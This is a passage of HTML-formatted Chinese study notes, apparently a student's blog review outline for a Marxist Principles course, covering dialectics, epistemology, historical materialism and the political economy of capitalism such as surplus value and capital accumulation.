title="量变和质变的辩证关系及其方法论意义是什么?"></a>量变和质变的辩证关系及其方法论意义是什么?</h3><ol><li>量变是质变的必要准备</li><li>质变是量变的必然结果</li><li>量变和质变是互相渗透的</li></ol><blockquote><p>意义:体现了事物发展的渐进性和飞跃性的统一</p></blockquote><h3 id="辩证的否定观及其方法论意义是什么?"><a href="#辩证的否定观及其方法论意义是什么?" class="headerlink" title="辩证的否定观及其方法论意义是什么?"></a>辩证的否定观及其方法论意义是什么?</h3><ul><li><p>为何叫否定之否定?<br>旧事物的灭亡称为否定,新事物的诞生视为对旧事物灭亡的否定,因而新事物视为否定的否定,即肯定</p></li><li><p>基本内容:</p><ol><li>否定是事物的自我否定,<strong>是事物内部矛盾运动的结果</strong></li><li>否定是事物发展的环节,<strong>是旧事物到新事物的转变</strong></li><li>否定是<strong>新旧事物联系的环节</strong>,新事物孕育于旧事物</li><li>辩证否定的实质是<strong>扬弃</strong></li></ol></li></ul><blockquote><p>意义:解释了事物发展的前进性和曲折性的统一,对于人们的认识和时间活动具有重要的指导意义。</p></blockquote><h2 id="实践与认识及其发展规律"><a href="#实践与认识及其发展规律" class="headerlink" title="实践与认识及其发展规律"></a>实践与认识及其发展规律</h2><h3 id="认识的本质是什么?辩证唯物主义认识论与旧唯物主义认识论的联系和区别"><a href="#认识的本质是什么?辩证唯物主义认识论与旧唯物主义认识论的联系和区别" class="headerlink" title="认识的本质是什么?辩证唯物主义认识论与旧唯物主义认识论的联系和区别"></a>认识的本质是什么?辩证唯物主义认识论与旧唯物主义认识论的联系和区别</h3><blockquote><p>实践是人类社会生活的本质</p></blockquote><ul><li><p>实践的三大基本特征<br>实践具有<strong>直接现实性</strong><br>实践具有<strong>自觉能动性</strong><br>实践具有<strong>社会历史性</strong></p></li><li><p>实践的基本类型<br>物质生产实践<br>社会政治实践<br>科学文化实践</p></li><li><p>认知的本质<br>认识的本质,是主体在实践的基础上对客体的能动的反映。<br>唯物主义坚持认识是从物到感觉和思想,是主体对客体的反映,人的一切只是都是后天习得<br>唯心主义坚持认识是从思想和感觉到物,否认认识是主客反映,认识先于物质与实践经验</p><p>旧唯物主义以感性直观为基础,把认识看成是消极的、被动的反映和接受外界对象。根本问题在于没看到主体和客体之间的矛盾及其相互作用,没有把认识看做一个不断发展的过程。<br>辩证唯物主义一是把实践的观点引入认识论,二是把辩证法应用于反映论考查认识的发展过程。</p></li></ul><h3 id="实践和认识的关系是怎样的?"><a href="#实践和认识的关系是怎样的?" class="headerlink" title="实践和认识的关系是怎样的?"></a>实践和认识的关系是怎样的?</h3><ol><li>实践是认识的<strong>来源</strong></li><li>实践是认识发展的<strong>动力</strong></li><li>实践是认识的<strong>目的</strong></li><li>实践是<strong>检验认识真理性的唯一标准</strong></li></ol><h3 id="认识运动的基本规律,感性认识和理性认识的辩证关系"><a href="#认识运动的基本规律,感性认识和理性认识的辩证关系" class="headerlink" title="认识运动的基本规律,感性认识和理性认识的辩证关系"></a>认识运动的基本规律,感性认识和理性认识的辩证关系</h3><p><strong>从实践到认识,再从认识到实践</strong>,是认识运动的基本规律<br>感性认知是人们在实践基础上,由感觉器官直接感受到的关于事物的现象、事物的外在联系、事物的各个方面的认识。<br>理性认识是指人们借助抽象思维,在概括整理大量感性材料的基础上,达到关于事物的本质,全体,内部联系和事物自身规律性的认识。</p><ul><li>感性认识和理性认识的辩证关系<ol><li>感性认识有待于<strong>发展和深化</strong>为理性认识</li><li>理性认识<strong>依赖于</strong>感性认识</li><li>感性认识和理性认识<strong>相互渗透、相互包含</strong></li><li>感性认识和理性认识的对立性:认知过程的<strong>不同阶段</strong></li></ol></li></ul><h3 id="如何理解真理的属性:客观性、绝对性和相对性?"><a href="#如何理解真理的属性:客观性、绝对性和相对性?" class="headerlink" title="如何理解真理的属性:客观性、绝对性和相对性?"></a>如何理解真理的属性:客观性、绝对性和相对性?</h3><p>真理是标志主观和客观相符合的哲学范畴,是对客观事物及其规律的正确反映</p><ul><li><p>真理的客观性——本质属性<br>指真理的内容是对客观事物及其规律的正确反映,包含着不依赖于人和人的意识的客观内容<br>作为检验真理标准的实践也是客观的<br>真理的形式是主观,通过感觉等表达出来</p></li><li><p>真理的绝对性<br>指真理主客观统一的确定性和发展的无限性:一是任何真理都标志着主观与客观之间的符合,都包含不依赖于人和人的意识的客观内容,都有同谬误有原则的界限。二是人类认识按其本性来说,能够正确认识无限发展着的物质世界,承认世界的可知性就是承认真理的绝对性</p></li><li><p>真理的相对性<br>指人们在一定条件下对客观事物及其本质和发展规律的正确认识总是有限度的、不完善的:一是从客观世界的整体来说,任何真理都只是对客观世界的某一阶段、某一部分的正确认识。二是就特定事物而言,任何真理都只是对客观对象一定方面、一定层次和一定程度的正确认识。</p></li><li><p>真理的绝对性和相对性的辩证统一<br>二者互相依存,即人们对于客观事物及其本质规律的每一个正确认识,都是在一定范围内,一定程度上的正确反映。<br>二者相互包含,真理的绝对性寓于相对性之中,真理的相对性包含并表现着真理的绝对性</p></li></ul><h3 id="真理与谬误的辩证关系。"><a href="#真理与谬误的辩证关系。" class="headerlink" title="真理与谬误的辩证关系。"></a>真理与谬误的辩证关系。</h3><ol><li>真理和谬误相互对立,在确定的对象和范围内,真理与谬误的对立是绝对的,与对象相符合的就是真理,不符的就是谬误</li><li>真理与谬误的对立又是相对的,他们在一定条件下能够相互转化,真理与谬误的对立只是在非常有限的范围内才具有绝对性。</li></ol><p>意义:真理总是同谬误相比较而存在、相斗争而发展出来的。</p><h3 id="实践是检验真理的唯一标准。"><a href="#实践是检验真理的唯一标准。" class="headerlink" title="实践是检验真理的唯一标准。"></a>实践是检验真理的唯一标准。</h3><ol><li>从<strong>真理的本性</strong>看,真理是人们对客观事物及其发展规律的正确反映,他的本性在于主观和客观相符合。</li><li>从<strong>实践的特点</strong>看,实践是人们改造世界的客观的物质性活动,具有直接现实性的特点。</li></ol><h3 id="第二章剩余"><a href="#第二章剩余" class="headerlink" title="第二章剩余"></a>第二章剩余</h3><ul><li><p>价值</p><ul><li>价值的基本特性<br>主观性、客观性、多维性、社会历史性</li><li>真理和价值在实践中的辩证统一<br>价值尺度必须以真理为前提。人类自身需要的内在尺度,推动者人们不断发现新的真理,脱离价值尺度,真理就失去了主体意义<br>真理尺度与价值尺度是否达到了具体的,历史的统一,必须通过实践来验证。</li></ul></li><li><p>认识和改造世界</p><ul><li>认识世界和改造世界的过程是从必然走向自由的过程。<br>自由是标志人的活动状态的范畴,指人在活动中通过认识和利用必然所表现出的一种自觉自主的状态。</li><li>一切从实际出发,实事求是<br>一切从实际出发是马克思主义认识论的根本要求<br>实事求是中国共产党思想路线的核心</li></ul></li><li><p>实现理论创新和实践创新的良性互动<br>实践创新为理论创新提供不竭的<strong>动力源泉</strong><br>理论创新为实践创新提供科学的<strong>行动指南</strong><br>努力实现理论创新与实践创新的<strong>良性互动</strong></p></li></ul><h2 id="人类社会及其发展规律"><a href="#人类社会及其发展规律" class="headerlink" title="人类社会及其发展规律"></a>人类社会及其发展规律</h2><h3 id="社会历史观的基本问题(两种根本对立的历史观)"><a href="#社会历史观的基本问题(两种根本对立的历史观)" class="headerlink" title="社会历史观的基本问题(两种根本对立的历史观)"></a>社会历史观的基本问题(两种根本对立的历史观)</h3><p>社会存在与社会意识的关系,是社会历史观的基本问题。据此分为唯物史观与唯心史观。</p><h3 id="社会存在与社会意识及其辩证关系"><a href="#社会存在与社会意识及其辩证关系" class="headerlink" title="社会存在与社会意识及其辩证关系"></a>社会存在与社会意识及其辩证关系</h3><ul><li>社会存在<br>是社会生活的物质方面,主要包括自然地理环境,人口因素和物质生产方式</li><li>社会意识<br>是社会生活的精神方面,根据不同的主体,分为个体意识和群体意识;根据不同的层次,分为社会心理和社会意识形式;社会意识形式又分为意识形态与非意识形态,其中意识心态是指反映社会的经济关系、阶级关系的社会意识,主要包括政治法律思想、道德、艺术、宗教、哲学等。自然科学和语言学、形式逻辑等社会科学不具有社会经济形态和政治制度的性质,不范颖特定社会集团的利益和要求不服务于特定经济政治制度和特定阶级,因而属于非意识形态。</li><li>社会存在与社会意识及其辩证关系<br>社会存在是社会意识内容的<strong>客观来源</strong>,社会意识是社会物质生活过程及其条件的<strong>主观反映</strong>。<br>社会存在决定社会意识,社会意识以理论、观念、心理等形式反映社会存在,但同时社会意识具有<strong>相对独立性</strong>。<ul><li><strong>社会意识的相对独立性</strong><br>社会意识与社会存在发展的<strong>不完全同步性和平衡性</strong><br>社会意识<strong>内部各种形式之间的相互影响</strong>及各自具有的<strong>历史继承性</strong><br>社会意识对社会存在能动的<strong>反作用</strong></li></ul></li><li>社会存在和社会意识辩证关系原理的意义<br>人类思想史上第一次正确解决了社会历史观的基本问题,是社会历史观上的革命性变革,从社会生活的各种领域中划分出<strong>经济领域</strong>,从一切社会关系中划分出<strong>生产关系</strong>,归结一切社会关系于生产关系,归结生产关系于<strong>生产力发展的高度</strong>,揭示了人类社会发展的规律。<br>对社会发展包括社会文化建设具有重要指导意义。</li></ul><h3 id="生产力与生产关系的矛盾运动及其规律性"><a href="#生产力与生产关系的矛盾运动及其规律性" class="headerlink" title="生产力与生产关系的矛盾运动及其规律性"></a>生产力与生产关系的矛盾运动及其规律性</h3><p><strong>生产力与生产关系矛盾运动的规律,是人类社会发展的基本规律</strong></p><ul><li>生产力<br>人类在生产实践中形成的改造和影响自然以使其适合社会需要的物质力量。具有<strong>客观现实性</strong>和<strong>社会历史性</strong>。<br>基本要素:劳动资料,劳动对象,劳动者。</li><li>生产关系<br>人们在物质过程中形成的不以人的意志为转移的经济关系。是社会关系中最基本的关系。</li><li>生产力和生产关系的矛盾运动<br>生产力<strong>决定</strong>生产关系<br>生产关系对生产力具有能动的<strong>反作用</strong><br>必然联系在于:<strong>生产规律一定要适合生产力状况的规律</strong></li></ul><h3 id="经济基础与上层建筑的矛盾运动及其规律"><a href="#经济基础与上层建筑的矛盾运动及其规律" class="headerlink" title="经济基础与上层建筑的矛盾运动及其规律"></a>经济基础与上层建筑的矛盾运动及其规律</h3><ul><li>经济基础<br>社会一定发展阶段的生产力所决定的生产关系的总和。</li><li>上层建筑<br>建立在一定经济基础之上的意识形态以及与之相应的制度、组织和设施。<br>由 意识形态以及政治法律制度及设施 和 政治组织 两部分组成。</li><li>上层建筑一定要适合经济基础状况的规律<br>经济基础<strong>决定</strong>上层建筑<br>上层建筑对经济基础具有<strong>反作用</strong><br>经济基础与上层建筑的<strong>相互作用</strong>构成了二者的矛盾运动</li></ul><h3 id="国家的涵义、产生、实质和一般职能?国体与政体的涵义及关系?"><a href="#国家的涵义、产生、实质和一般职能?国体与政体的涵义及关系?" class="headerlink" title="国家的涵义、产生、实质和一般职能?国体与政体的涵义及关系?"></a>国家的涵义、产生、实质和一般职能?国体与政体的涵义及关系?</h3><ul><li>国家的产生<br>社会陷入了不可解决的自我矛盾,分裂为不可调和的对立面而无力摆脱这些对立面。而为了使这些对立面,这些禁忌利益相互冲突的阶级,不至在无谓的斗争中把自己和社会消灭,就需要一种表面上凌驾于社会之上的力量,这种力量应当缓和冲突,把冲突保持在秩序的范围以内,这种从社会中产生但又居于社会之上并且日益同社会相异化的力量,就是国家。</li><li>国家的实质<br>一个阶级统治另一个阶级的工具</li><li>国体与政体<br>国体是指社会各阶级在国家中的地位,表明国政政权掌握在哪个阶级手里。<br>政体是指统治阶级实现其阶级统治的具体组织形式,也就是政权构成形式。<br>国体决定政体,政体服从于国体。</li></ul><h3 id="社会形态更替的一般规律及特殊形式"><a href="#社会形态更替的一般规律及特殊形式" class="headerlink" title="社会形态更替的一般规律及特殊形式"></a>社会形态更替的一般规律及特殊形式</h3><ul><li>社会形态更替的统一性和多样性<br>社会历史运动的一般过程和一般规律,体现了统一性,具体国家不同的发展历史,体现了多样性。</li><li>社会形态更替的必然性和人们的历史选择性<br>生产力和生产关系的矛盾运动的规律性,决定了社会形态更替的客观必然性。<ul><li>人的历史选择性:<ol><li>社会发展的客观必然性造成了一定历史阶段社会发展的基本趋势</li><li>社会形态更替的过程也是一个主观能动性和客观规律性相统一的过程</li><li>人们的历史选择性归根结底是人民群众的选择性</li></ol></li></ul></li></ul><h3 id="社会发展的动力有哪些?它们在社会发展中起何作用?"><a href="#社会发展的动力有哪些?它们在社会发展中起何作用?" class="headerlink" title="社会发展的动力有哪些?它们在社会发展中起何作用?"></a>社会发展的动力有哪些?它们在社会发展中起何作用?</h3><ul><li><p>社会基本矛盾在历史发展中的作用<br><strong>生产力和生产关系、经济基础和上层建筑的矛盾是社会基本矛盾</strong>。<br>社会基本结构包括经济结构、政治结构和观念结构。</p><ul><li>社会基本矛盾在历史发展中的作用<br>首先,<strong>生产力</strong>是社会基本矛盾运动中最基本的动力因素,是人类社会发展和进步的<strong>最终决定力量</strong>。<br>生产力是社会进步的<strong>根本内容</strong>,是衡量社会进步的根本尺度。只有在生产力发展的基础上,才有可能充分满足人民群众的物质生活和精神生活的需要<br>社会基本矛盾特别是生产力和生产关系的矛盾,<strong>决定着社会中其他矛盾的存在和发展</strong>。<br><strong>经济基础和上层建筑的矛盾</strong>也会影响和制约生产力和生产关系的矛盾。这是因为,生产力和生产关系的矛盾的最终解决还依赖于经济基础和上层建筑的矛盾的解决。<br>社会基本矛盾具有不同的表现形式和解决方法,并从根本上影响和促进<strong>社会形态的变化和发展</strong>。</li><li>社会主要矛盾在历史发展中的作用<br>社会主要矛盾是社会基本矛盾的具体体现。<br>正确认识和把握社会主要矛盾,是无产阶级政党正确判断形势和确立工作重心的客观依据。<br>社会主要矛盾及其转化的原理,对于指导中国特色社会主义实践具有重要意义。</li></ul></li><li><p>阶级斗争和社会革命在阶级社会发展中的作用<br>阶级和阶级斗争是人类社会发展到一定阶段才出现的社会现象<br>阶级是一个经济范畴,也是一个历史范畴。<br>阶级斗争是阶级利益根本冲突的对抗阶级之间的对立和斗争。</p><p>阶级斗争是阶级社会发展的直接动力。突出体现在社会形态的更替中,受到一定社会历史条件的制约。</p><p>社会革命:广义的社会革命是指在社会基本矛盾运动基础上的社会生活的全面变革,包括人与自然的关系,人与人的社会关系、思维方式、思想观念的重大变革;狭义的社会革命主要是社会形态的变更,即新的社会形态取代旧的社会形态。<br>社会革命根源于社会基本矛盾的尖锐化。社会革命是实现社会形态更替的重要手段和决定性环节。其次,社会革命能充分发挥人民群众创造历史的积极性和伟大作用。而且社会革命能极大地教育和锻炼包括革命阶级在内的人民群众。最后,无产阶级革命将为消除阶级对抗,并充分利用全人类的文明成果促进社会全面进步创造条件。</p></li><li><p>改革在社会发展中的作用<br>改革是同一社会形态发展过程中的量变和部分质变。是推动社会发展的又一重要动力。<br>它是在一定程度上解决社会基本矛盾,促进生产力发展、推动社会进步的有效途径和手段。</p></li><li><p>科学技术在社会发展中的作用<br>科技革命是推动经济和社会发展的强大杠杆<br>正确把握科学技术的社会作用</p></li></ul><h3 id="人民群众是历史的创造者,党的群众观点和群众路线。"><a href="#人民群众是历史的创造者,党的群众观点和群众路线。" class="headerlink" title="人民群众是历史的创造者,党的群众观点和群众路线。"></a>人民群众是历史的创造者,党的群众观点和群众路线。</h3><ul><li><p>唯物史观对谁是历史的创造者的考查<br>立足于<strong>现实的人及其本质</strong>来把握历史的创造者。人的本质不是单个人所固有的抽象物,在其现实性上,他是一切社会关系的综合。即人的本质属性是社会属性而不是自然属性<br>立足于<strong>整体的社会历史过程</strong>来把握历史创造者。社会的历史并非个体的历史的简繁堆砌。是一定的群体的认识活动和实践活动及其产物的演进过程,是以一定的物质生产方式为基础的社会形成和演进过程<br>从<strong>社会历史发展的必然性</strong>入手考查历史创造者。历史发展的必然性体现在一定的历史主体的活动之中,存在于推动和促进社会历史向前发展的力量里<br>从<strong>人与历史关系的不同层次</strong>上考查历史创造者。人与历史的关系具有类与历史、群体与历史、个体与历史三层关系。</p></li><li><p>人民群众在创造历史过程中的决定作用<br>人民群众是社会历史的主体,是历史的创造者,这是马克思主义最基本的观点之一。<br>人民群众是社会<strong>物质财富的创造者</strong>。<br>人民群众是社会<strong>精神财富的创造者</strong>。<br>人民群众是<strong>社会变革的决定力量</strong>。</p></li><li><p>党的群众观点<br>坚信人民群众自己解放自己的观点,全心全意为人民服务的观点,一切向人民群众负责的观点,虚心向群众学习的观点。</p></li><li><p>党的群众路线<br>一切为了群众,一切依靠群众。<br>从群众来,到群众中去。<br>实质: 充分相信群众,坚决依靠群众,密切联系群众,全心全意为人民服务。</p></li></ul><hr><center>下面的课本上也没看到 随便记记</center>---<h3 id="如何理解马克思主义的理论境界?"><a href="#如何理解马克思主义的理论境界?" class="headerlink" title="如何理解马克思主义的理论境界?"></a>如何理解马克思主义的理论境界?</h3><ol><li>它是需要和包括主客体关系的又超越这一关系的境界</li><li>它是建立在知识和规律性基础上又超越知识、规律的经济</li><li>它是既讲功利追求又超越功利追求的境界</li><li>它是对人世间一切现实活动的高原态度。</li></ol><h3 id="马克思主义追求的根本价值目标。"><a href="#马克思主义追求的根本价值目标。" class="headerlink" title="马克思主义追求的根本价值目标。"></a>马克思主义追求的根本价值目标。</h3><p>实现社会和谐是马克思主义的必然要求,是马克思主义科学社会主义的根本价值理想。<br>建立“自由人联合体”实现社会和谐是马克思主义的必然要求,是马克思主义科学社会的根本价值理想,也是人类社会发展的最佳归宿和价值体现。</p><h3 id="马克思主义政党的组织原则、根本宗旨。"><a href="#马克思主义政党的组织原则、根本宗旨。" class="headerlink" title="马克思主义政党的组织原则、根本宗旨。"></a>马克思主义政党的组织原则、根本宗旨。</h3><p>民主集中制<br>全心全意为人民服务</p><h3 id="科学社会主义诞生的标志是什么、全人类解放的根本体现是实现共产主义。"><a href="#科学社会主义诞生的标志是什么、全人类解放的根本体现是实现共产主义。" class="headerlink" title="科学社会主义诞生的标志是什么、全人类解放的根本体现是实现共产主义。"></a>科学社会主义诞生的标志是什么、全人类解放的根本体现是实现共产主义。</h3><p>《共产党宣言》</p><h3 id="无产阶级革命的主要的基本的形式是暴力革命。"><a href="#无产阶级革命的主要的基本的形式是暴力革命。" class="headerlink" title="无产阶级革命的主要的基本的形式是暴力革命。"></a>无产阶级革命的主要的基本的形式是暴力革命。</h3><h3 id="为什么马克思主义政党是新型的革命政党?"><a href="#为什么马克思主义政党是新型的革命政党?" class="headerlink" title="为什么马克思主义政党是新型的革命政党?"></a>为什么马克思主义政党是新型的革命政党?</h3><p>马克思主义政党是科学社会主义与工人运动相结合的产物<br>马克思主义政党是由工人阶级先进分子组成的,但不同于工人阶级本身<br>马克思主义政党是为了实现共产主义而奋斗的党<br>马克思主义政党是为人民群众谋利益的党<br>马克思主义政党是按照民主集中制原则组织起来的团结统一的党</p><h3 id="共产主义社会的基本特征。"><a href="#共产主义社会的基本特征。" class="headerlink" title="共产主义社会的基本特征。"></a>共产主义社会的基本特征。</h3><p>社会生产力高度发展<br>生产资料的战友关系彻底摆脱了私有制的舒服,生产资料和劳动产品归全社会公共所有<br>实行各尽所能,按需分配的原则<br>由于生产力的高度发展,产生剥削阶级的社会条件不复存在,阶级与阶级差异被消灭。<br>全体社会成员具有高度的共产主义觉悟和道德品质<br>作为阶级统治工具的国家将完全消亡,管理事务的机构是去其阶级性质</p><h2 id="资本主义的本质及规律"><a href="#资本主义的本质及规律" class="headerlink" title="资本主义的本质及规律"></a>资本主义的本质及规律</h2><p>本章以理解为核心,所以写的多,背的不是很多</p><h3 id="商品经济和价值规律"><a href="#商品经济和价值规律" class="headerlink" title="商品经济和价值规律"></a>商品经济和价值规律</h3><ul><li><p>商品经济的形成<br>商品经济是作为自然经济的对立物而产生和发展起来的,其得以存在的社会历史条件有二:<br>社会分工;生产资料和劳动产品属于不同的所有者;</p></li><li><p>商品的二因素和生产商品的劳动的二重性<br>使用价值:指商品能满足人的某种需要的有用性,反映的是人与自然之间的物质关系<br>价值:凝结在商品中的无差别的一般人类劳动,即人的脑力和体力的耗费<br>价值是交换价值的基础,交换价值是价值的表现形式</p><ul><li>使用价值和价值的对立统一关系<br>使用价值和价值是相互排斥的,二者不可兼得<br>作为商品,必须同时具有使用价值和价值两个因素</li></ul><p>具体劳动:指生产一定使用价值的具体形式的劳动<br>抽象劳动:撇开一切具体形式的、无差别的一般人类劳动,即人的脑力和体力的耗费。<br>具体劳动创造商品的使用价值,抽象劳动形成了商品的价值。<br>具体劳动和抽象劳动是同一劳动的两种规定,也就是劳动的二重性</p><ul><li>具体劳动和抽象劳动的对立统一性<br>具体劳动和抽象劳动不是各自独立存在的两种劳动或两次劳动,他们在时空上是统一的。<br>具体劳动与抽象劳动分别反映劳动的不同属性,一种是人与自然的关系,是劳动的自然属性;一种是商品生产者的社会关系,是劳动的社会属性</li></ul></li><li><p>商品的价值量的决定<br>社会必要劳动实践:在现有的社会正常的生产条件下,在社会平均的劳动熟练程度和劳动强度下制造某种使用价值所需要的劳动时间</p><p>商品的价值量同简单劳动和复杂劳动相关,形成商品价值量的劳动是以简单劳动为尺度的,少量的复杂劳动等于多量的简单劳动</p></li><li><p>货币的基本职能<br><strong>价值尺度;流通手段;贮藏手段;支付手段;世界货币</strong></p></li><li><p>价值规律及其作用<br><strong>内容</strong>:<br>商品的价值量由生产商品的社会必要劳动时间决定,商品交换一家质量为基础,按照等价交换的原则进行。<br><strong>表现形式</strong>:<br>商品价格围绕商品价值自发波动<br><strong>作用</strong>:<br>自发的调节生产资料和劳动力在社会各生产部门之间的分配比例。<br>自发的刺激社会生产里的发展<br>自发的调节社会收入的分配<br>消极后果:社会资源浪费;阻碍技术进步;导致两极分化</p></li><li><p>以私有制为基础的商品经济的基本矛盾<br><strong>私人劳动和社会劳动的矛盾构成私有制商品经济的基本矛盾</strong>:商品的劳动的社会属性是由社会分工决定的,商品的劳动的私人性质是由生产资料私有制决定的。</p><ol><li>私人劳动和社会劳动的矛盾决定着<strong>商品经济的本质及发展过程</strong></li><li>私人劳动和社会劳动的矛盾是<strong>商品经济其他一切矛盾的基础</strong></li><li>私人劳动和社会劳动的矛盾<strong>决定着商品生产者的命运</strong><br>私有制商品经济条件下私人劳动与社会劳动之间的矛盾通过商品的运动、价值的运行、货币的运动决定商品生产者的命运,这使商品生产者认为商品、价值乃至货币似乎是物的自然属性,商品生产者不能自己掌控自己的命运,而是听凭商品、价值、货币运动的摆布,人们之间的一定社会关系采取了物与物的关系的虚幻形式,马克思称之为商品拜物教。私有制商品经济条件下拜物教性质的产生有其必然性:</li><li>私有制商品经济条件下劳动产品只有采取商品的形式才能进行<strong>交换</strong>,人类劳动的等同性只有采取同质的价值形式才能在交换中体现出来</li><li>劳动量只有采取价值量这一物的形式才能进行计算和<strong>比较</strong></li><li><strong>生产者的劳动关系的社会性质</strong>只有采取商品之间相交换的性质才能间接地表现出来</li></ol></li></ul><h3 id="资本主义经济制度的本质"><a href="#资本主义经济制度的本质" class="headerlink" title="资本主义经济制度的本质"></a>资本主义经济制度的本质</h3><h4 id="资本主义经济制度的产生"><a href="#资本主义经济制度的产生" class="headerlink" title="资本主义经济制度的产生"></a>资本主义经济制度的产生</h4><p>资本原始积累:生产者与生产资料相分离,资本迅速集中于少数人受众,资本主义得以迅速发展的历史过程。<br>资产阶级政治统治的建立和资本主义生产方式支配地位的形成,标志着资本主义制度的最终确立。</p><h4 id="劳动力成为商品与货币转化为资本"><a href="#劳动力成为商品与货币转化为资本" class="headerlink" title="劳动力成为商品与货币转化为资本"></a>劳动力成为商品与货币转化为资本</h4><ul><li><p>劳动力成为商品的基本条件<br>劳动者是自由人,能够<strong>把自己的劳动力当做自己的商品</strong>来支配<br>劳动者没有别的商品可以出卖,<strong>自由的一无所有</strong></p></li><li><p>劳动力商品的特点与货币转化为资本<br>劳动力的价值是由生产、发展、维持和延续劳动力所必需的的生活必需品的价值决定的。包括:</p><ol><li><strong>维持劳动者本人生存</strong>所必需的生活资料的价值</li><li><strong>维持劳动者家属的生存</strong>所必须的生活资料的价值</li><li>劳动者<strong>接受教育和训练所支出的费用</strong>。</li></ol><p>劳动力商品的使用价值劳动,是价值的源泉。<strong>劳动本身不是商品</strong>,劳动力商品的使用价值具有成为价值源泉的特殊属性,他的实际使用本身就是劳动的物化,从而创造了剩余价值,是货币转化为资本。</p><p>货币所有者购买到劳动力以后,在消费过程中,不仅能够收回他在购买这个商品时致富的价值,还能得到一个增值的价值即剩余价值。<strong>而一旦货币购买的劳动力带来剩余价值,货币就变成了资本</strong>。</p></li></ul><h4 id="资本主义所有制的本质"><a href="#资本主义所有制的本质" class="headerlink" title="资本主义所有制的本质"></a>资本主义所有制的本质</h4><p><strong>资本</strong>与<strong>雇佣劳动</strong>之间剥削与被剥削关系</p><h4 id="生产剩余价值是资本主义生产方式的绝对规律"><a href="#生产剩余价值是资本主义生产方式的绝对规律" class="headerlink" title="生产剩余价值是资本主义生产方式的绝对规律"></a>生产剩余价值是资本主义生产方式的绝对规律</h4><ul><li><p>剩余价值规律<br>资本主义生产的直接目的和决定性动机,就是无休止的获取尽可能多的剩余价值</p></li><li><p>资本主义生产过程的二重性<br>生产<strong>物质资料</strong>的劳动过程<br>生产<strong>剩余价值</strong>的过程</p></li><li><p>不变资本与可变资本<br>不变资本是<strong>以生产资料形态存在</strong>的资本。生产资料的价值通过工人的具体劳动被转移到新产品中,其转移的价值量不会大于他原本的价值量<br>可变资本是<strong>用于购买劳动力的资本</strong>。可变资本的价值在生产过程中不是被转移到新产品中去,而是由工人的劳动再生产出来,在生产过程中,工人所创造的新价值,不仅包括相当于劳动力价值的价值,而且还包括一定量的剩余价值。<br>剩余价值既不是全部资本创造的,也不是由不变资本创造的,而是由可变资本雇佣的劳动者创造的。</p><p><strong>剩余价值率m‘ = 剩余价值m / 可变资本v = 剩余劳动/必要劳动 = 剩余劳动时间/必要劳动时间</strong></p></li><li><p>剩余价值生产的两种基本方法<br>绝对剩余价值,指在必要劳动时间不变的条件下,由延长工作日的长度和提高劳动强度而生产的剩余价值。<br>相对剩余价值,指在工作日长度不变的条件下,通过缩短必要劳动时间而相对延长剩余劳动时间所产生的剩余价值。</p><p>Q: 生产自动化能否说明技术和科学成为独立的剩余价值的源泉?<br>A: 机器人、自动化生产线,本质是物化劳动或不变资本的实物形式。他们的价值在工人生产他们的过程中形成,在参加产品的生产时,只是吧原有的价值转移到产品中去,而不创造新价值,更不能创造剩余价值。</p></li><li><p>资本积累</p></li><li><p><em>把剩余价值转化为资本,就是资本积累*</em></p></li></ul><p>资本积累不但是社会财富占有两极分化的重要原因,而且是资本主义社会失业现象产生的根源。资本追逐剩余价值引起资本有机构成的提高使得人们失业。资本有机构成的提高是由资本的本性决定的。<br>资本生产过程中的资本,由一定数量的生产资料和劳动力构成,生产资料和劳动力之间的比例取决于生产技术的发展水平,这种由生产的技术水平决定的生产资料和劳动力之间的比例,成为<strong>资本的技术构成</strong>。<br>资本从价值形式上分为不变资本和可变资本,这两部分之间的比例,被称为<strong>资本的价值构成</strong>。<br>资本的技术构成决定资本的价值构成,价值构成的变化反映技术构成的变化,这种由资本的技术构成决定并反映技术构成变化的资本价值构成,被称为资本的有机构成。通常用c:v表示,c为不变资本,v为可变资本。</p><ul><li>资本的循环周转与再生产<br>资本循环经历三个不同的阶段:<strong>购买阶段</strong>执行<strong>货币资本</strong>的职能;<strong>生产阶段</strong>执行<strong>生产资本</strong>的职能; <strong>售卖阶段</strong>执行<strong>商品资本</strong>的职能。</li></ul><p><strong>货币资本循环</strong>、<strong>生产资本循环</strong>、<strong>商品资本循环</strong>统一构成了产业资本的连续循环</p><ul><li>产业资本运动的前提<br>产业资本的三种职能形式必须在空间上并存<br>产业资本的三种职能形式必须在时间上续起</li></ul><ul><li><p>社会再生产<br>社会生产时连续不断的进行的,这种连续不断重复的生产就是再生产</p><ul><li><p>社会再生产的核心问题<br>社会总产品的价值补偿和实物补偿问题。</p><p>社会总产品就是社会在一定时期(通常一年)所生产的全部物质资料的综合,在价值形态上成为社会总价值<br> 价值划分</p><pre><code>在产品中的生产资料的转移价值凝结在产品中由工人必要劳动创造的价值 凝结在产品中由工人在剩余劳动时间里创造的价值</code></pre><p> 物质形态划分</p><pre><code>用于生产消费的生产资料用于生活消费的消费资料</code></pre><p>同社会总产品分为生产资料和消费资料相适应,整个社会生产划分为两大部类即生产生产资料的第一部类和生产消费资料的第二部类。<br>马克思关于把社会总产品按价值形式区分为,按实物形式区分为生产资料和消费资料,把社会生产区分为两大部类的原理,是适应社会资本再生产理论分析所需要的,因为社会资本再生产理论不仅要说明社会产品的价值补偿,而且要说明社会产品的实物替换。因此,关于社会总产品构成和社会生产分为两大部类的原理是考察社会资本再生产的理论前提。</p></li></ul></li><li><p>工资与剩余价值的分配<br>在资本主义制度下,工人的工资是劳动力的价值或价格,这就是资本主义工资的本质。</p></li></ul><p>剩余价值作为全部预付资本的产物时,m转化为利润.<br>平均利润率=社会剩余价值总额 / 社会总资本× 100%<br>平均利润=预付资本×平均利润率。平均利润形成是全社会的剩余价值在各部门的资本家之间重新瓜分的结果。各个部门所得的利润量与生产剩余价值不一致,但整个社会利润总量和剩余价值总量是相等的。进一步掩盖了资本主义剥削的秘密。</p><h4 id="资本主义的基本矛盾与经济危机"><a href="#资本主义的基本矛盾与经济危机" class="headerlink" title="资本主义的基本矛盾与经济危机"></a>资本主义的基本矛盾与经济危机</h4><p>生产社会化和生产资料资本主义私人占有之间的矛盾,是资本主义的基本矛盾。</p><p>基本矛盾坏呀,东西大家造啊,成果被独享啊,终于写完了啊</p><p>经济危机<br> 生产无限扩大的趋势与劳动人民有支付能力的需求相对缩小的矛盾<br> 单个企业内部生产的有组织性和整个社会生产的无政府状态之间的矛盾</p><h1 id="马原背诵提纲版"><a href="#马原背诵提纲版" class="headerlink" 